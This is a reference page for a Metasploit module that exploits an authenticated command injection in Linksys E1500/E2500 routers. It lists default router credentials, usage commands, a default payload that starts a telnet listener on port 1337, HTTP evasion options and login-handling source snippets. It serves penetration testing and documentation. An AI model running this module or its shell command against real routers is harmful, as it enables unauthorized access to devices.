Linksys E1500/E2500 Remote Command Execution - Metasploit
This page contains detailed information about how to use the auxiliary/admin/http/linksys_e1500_e2500_exec metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Linksys E1500/E2500 Remote Command Execution
Module: auxiliary/admin/http/linksys_e1500_e2500_exec
Source code: modules/auxiliary/admin/http/linksys_e1500_e2500_exec.rb
Disclosure date: 2013-02-05
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: -
Some Linksys Routers are vulnerable to an authenticated OS command injection. Default credentials for the web interface are admin/admin or admin/password. Since it is a blind os command injection vulnerability, there is no output for the executed command. A ping command against a controlled system for can be used for testing purposes.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
msf > use auxiliary/admin/http/linksys_e1500_e2500_exec
msf auxiliary(linksys_e1500_e2500_exec) > show targets
... a list of targets ...
msf auxiliary(linksys_e1500_e2500_exec) > set TARGET target-id
msf auxiliary(linksys_e1500_e2500_exec) > show options
... show and set options ...
msf auxiliary(linksys_e1500_e2500_exec) > exploit
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Go back to menu.
Msfconsole Usage
Here is how the admin/http/linksys_e1500_e2500_exec auxiliary module looks in the msfconsole:
msf6 > use auxiliary/admin/http/linksys_e1500_e2500_exec
msf6 auxiliary(admin/http/linksys_e1500_e2500_exec) > show info
Name: Linksys E1500/E2500 Remote Command Execution
Module: auxiliary/admin/http/linksys_e1500_e2500_exec
License: Metasploit Framework License (BSD)
Rank: Normal
Disclosed: 2013-02-05
Provided by:
Michael Messner <[email protected]>
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
CMD telnetd -p 1337 yes The command to execute
HttpPassword password yes Password to login with
HttpUsername admin yes User to login with
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
VHOST no HTTP server virtual host
Description:
Some Linksys Routers are vulnerable to an authenticated OS command
injection. Default credentials for the web interface are admin/admin
or admin/password. Since it is a blind os command injection
vulnerability, there is no output for the executed command. A ping
command against a controlled system for can be used for testing
purposes.
References:
OSVDB (89912)
http://www.securityfocus.com/bid/57760
https://www.exploit-db.com/exploits/24475
http://www.s3cur1ty.de/m1adv2013-004
Module Options
This is a complete list of options available in the admin/http/linksys_e1500_e2500_exec auxiliary module:
msf6 auxiliary(admin/http/linksys_e1500_e2500_exec) > show options
Module options (auxiliary/admin/http/linksys_e1500_e2500_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
CMD telnetd -p 1337 yes The command to execute
HttpPassword password yes Password to login with
HttpUsername admin yes User to login with
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
VHOST no HTTP server virtual host
Advanced Options
Here is a complete list of advanced options supported by the admin/http/linksys_e1500_e2500_exec auxiliary module:
msf6 auxiliary(admin/http/linksys_e1500_e2500_exec) > show advanced
Module advanced options (auxiliary/admin/http/linksys_e1500_e2500_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
HttpClientTimeout no HTTP connection and receive timeout
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Auxiliary Actions
This is a list of all auxiliary actions that the admin/http/linksys_e1500_e2500_exec module can do:
msf6 auxiliary(admin/http/linksys_e1500_e2500_exec) > show actions
Auxiliary actions:
Name Description
---- -----------
Evasion Options
Here is the full list of possible evasion options supported by the admin/http/linksys_e1500_e2500_exec auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 auxiliary(admin/http/linksys_e1500_e2500_exec) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
Go back to menu.
Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
<RHOST>:<RPORT> - No successful login possible with <USER>/<PASS>
Here is a relevant code snippet related to the "<RHOST>:<RPORT> - No successful login possible with <USER>/<PASS>" error message:
53: return if (res.code == 404)
54:
55: if [200, 301, 302].include?(res.code)
56: print_good("#{rhost}:#{rport} - Successful login #{user}/#{pass}")
57: else
58: print_error("#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")
59: return
60: end
61:
62: rescue ::Rex::ConnectionError
63: vprint_error("#{rhost}:#{rport} - Failed to connect to the web server")
<RHOST>:<RPORT> - Failed to connect to the web server
Here is a relevant code snippet related to the "<RHOST>:<RPORT> - Failed to connect to the web server" error message:
58: print_error("#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")
59: return
60: end
61:
62: rescue ::Rex::ConnectionError
63: vprint_error("#{rhost}:#{rport} - Failed to connect to the web server")
64: return
65: end
66:
67: print_status("#{rhost}:#{rport} - Sending remote command: " + datastore['CMD'])
68:
<RHOST>:<RPORT> - Failed to connect to the web server
Here is a relevant code snippet related to the "<RHOST>:<RPORT> - Failed to connect to the web server" error message:
88: "ping_times" => "5",
89: "traceroute_ip" => ""
90: }
91: })
92: rescue ::Rex::ConnectionError
93: vprint_error("#{rhost}:#{rport} - Failed to connect to the web server")
94: return
95: end
96: print_status("#{rhost}:#{rport} - Blind Exploitation - unknown Exploitation state")
97: print_status("#{rhost}:#{rport} - Blind Exploitation - wait around 10 seconds till the command gets executed")
98: end
Go back to menu.
Related Pull Requests
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #8716 Merged Pull Request: Print_Status -> Print_Good (And OCD bits 'n bobs)
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #6921 Merged Pull Request: Fix #4885, Support basic and form auth at the same time
- #6655 Merged Pull Request: use MetasploitModule as a class name
- #6648 Merged Pull Request: Change metasploit class names
- #6139 Merged Pull Request: Remove bad references (dead links)
- #5059 Merged Pull Request: Yard doc corrections
- #2525 Merged Pull Request: Change module boilerplate
- #1689 Merged Pull Request: Fix author details
- #1616 Merged Pull Request: initial commit
References
- CVE: Not available
- OSVDB (89912)
- BID-57760
- EDB-24475
- http://www.s3cur1ty.de/m1adv2013-004
See Also
Check also the following modules related to this module:
- auxiliary/admin/http/linksys_tmunblock_admin_reset_bof
- auxiliary/admin/http/linksys_wrt54gl_exec
- auxiliary/scanner/http/linksys_e1500_traversal
- exploit/linux/http/linksys_apply_cgi
- exploit/linux/http/linksys_themoon_exec
- exploit/linux/http/linksys_wrt110_cmd_exec
- exploit/linux/http/linksys_wrt160nv2_apply_exec
- exploit/linux/http/linksys_wrt54gl_apply_exec
- exploit/linux/http/linksys_wvbr0_user_agent_exec_noauth
- auxiliary/analyze/apply_pot
- exploit/linux/http/linksys_e1500_apply_exec
- auxiliary/admin/emc/alphastor_devicemanager_exec
- auxiliary/admin/emc/alphastor_librarymanager_exec
- auxiliary/admin/http/cnpilot_r_cmd_exec
- auxiliary/admin/http/hp_web_jetadmin_exec
- auxiliary/admin/http/jboss_seam_exec
- auxiliary/admin/http/pihole_domains_api_exec
- auxiliary/admin/maxdb/maxdb_cons_exec
- auxiliary/admin/mssql/mssql_exec
- auxiliary/dos/http/tautulli_shutdown_exec
- auxiliary/scanner/http/epmp1000_get_chart_cmd_exec
- auxiliary/scanner/http/epmp1000_ping_cmd_exec
- auxiliary/scanner/sap/sap_soap_rfc_dbmcli_sxpg_call_system_command_exec
- auxiliary/scanner/sap/sap_soap_rfc_dbmcli_sxpg_command_exec
- auxiliary/scanner/sap/sap_soap_rfc_sxpg_call_system_exec
- auxiliary/scanner/sap/sap_soap_rfc_sxpg_command_exec
- auxiliary/scanner/telnet/satel_cmd_exec
- auxiliary/admin/http/dlink_dir_300_600_exec_noauth
Authors
- Michael Messner <devnull[at]s3cur1ty.de>
Version
This page has been produced using Metasploit Framework version 6.1.27-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.